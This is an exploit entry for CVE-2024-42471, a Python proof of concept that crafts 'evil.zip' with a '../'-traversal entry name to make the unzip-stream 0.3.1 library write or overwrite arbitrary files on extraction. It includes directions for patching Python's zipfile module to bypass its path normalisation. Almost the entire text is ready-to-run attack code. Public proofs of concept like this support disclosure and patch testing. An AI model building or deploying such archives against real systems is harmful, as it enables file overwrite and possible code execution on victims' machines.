unzip-stream 0.3.1 – Arbitrary File Write
# Exploit Title: unzip-stream 0.3.1 - Arbitrary File Write # Date: 18th April, 2024 # Exploit Author: Ardayfio Samuel Nii Aryee # Software link: https://github.com/mhr3/unzip-stream # Version: unzip-stream 0.3.1 # Tested on: Ubuntu # CVE: CVE-2024-42471 # NB: Python's built-in `zipfile` module has limitations on the `arcname` parameter. # To bypass this restriction, edit the module's source code (`zipfile.py`) and comment out the following line: # arcname = os.path.normpath(os.path.splitdrive(arcname)[1]) # For a more detailed explanation, feel free to check out my blog post here: https://themcsam.github.io/posts/unzip-stream-PoC/ import zipfile import os import sys file_path = './poc' # Change to the file which contains the data to write zip_name = 'evil.zip' path_to_overwrite_file = 'home/mcsam/pocc' # Change to target file to write/overwrite if not os.path.isfile(file_path): print(f"Error: File '{file_path}' does not exist.") sys.exit() with zipfile.ZipFile(zip_name, 'w', zipfile.ZIP_DEFLATED) as zipf: zipf.write(file_path, \ arcname=f'hack/../../../../../../../../../../../../../../{path_to_overwrite_file}') print(f"File '{file_path}' has been zipped as '{zip_name}'.") |